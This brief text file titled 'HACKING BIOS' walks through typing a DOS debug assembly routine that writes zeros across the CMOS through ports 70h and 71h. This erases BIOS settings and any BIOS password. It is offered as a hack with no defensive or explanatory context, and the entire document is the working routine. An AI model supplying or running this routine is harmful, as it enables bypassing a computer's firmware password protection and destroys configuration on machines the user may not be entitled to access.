HACKING BIOS

At command prompt type debug
you will get a - prompt where you can type the fallowing
(* means hit enter)

A *
MOV AX,0 *
MOV AX,CX *
OUT 70,AL *
MOV AX,0 *
OUT 71,AL *
INC CX *
CMP CX,100 *
JB 103 *
INT 20 *
* just hit enter on this line
G *
Q *